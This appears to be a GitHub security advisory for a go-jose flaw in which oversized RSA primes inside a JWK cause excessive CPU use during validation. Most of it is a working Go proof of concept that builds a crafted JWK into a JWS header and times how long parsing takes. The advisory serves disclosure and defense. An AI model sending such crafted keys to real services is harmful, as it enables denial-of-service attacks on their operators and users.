CVE-2026-116587

ADVISORY - github

Summary

A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.

Details

go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to crypto/rsa.PrivateKey.Validate(). On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.

https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700

Proof of concept

No special configuration of go-jose is required to reproduce this vulnerability.

package main

import (
    "encoding/base64"
    "encoding/json"
    "fmt"
    "math/big"
    "time"

    "github.com/go-jose/go-jose/v4"
)

func main() {
    // The RSA parameters can be complete junk. The CPU cost is in validating them.
    primeBits := 16384
    p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))
    p.SetBit(p, 0, 1)
    n := new(big.Int).Lsh(big.NewInt(1), 2048)
    e := big.NewInt(65537)
    d := big.NewInt(3)
    q := big.NewInt(3)

    jwk := map[string]string{
        "kty": "RSA",
        "n":   base64.RawURLEncoding.EncodeToString(n.Bytes()),
        "e":   base64.RawURLEncoding.EncodeToString(e.Bytes()),
        "d":   base64.RawURLEncoding.EncodeToString(d.Bytes()),
        "p":   base64.RawURLEncoding.EncodeToString(p.Bytes()),
        "q":   base64.RawURLEncoding.EncodeToString(q.Bytes()),
    }

    protected := map[string]any{
        "alg": "RS256",
        "jwk": jwk,
    }
    protJSON, _ := json.Marshal(protected)

    jws := map[string]string{
        "protected": base64.RawURLEncoding.EncodeToString(protJSON),
        "payload":   base64.RawURLEncoding.EncodeToString([]byte(`{}`)),
        "signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")),
    }
    jwsJSON, _ := json.Marshal(jws)

    start := time.Now()
    _, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})
    elapsed := time.Since(start)

    fmt.Printf("prime bits: %d\n", primeBits)
    fmt.Printf("parse time: %s\n", elapsed)
    fmt.Printf("parse error: %v\n", err)
}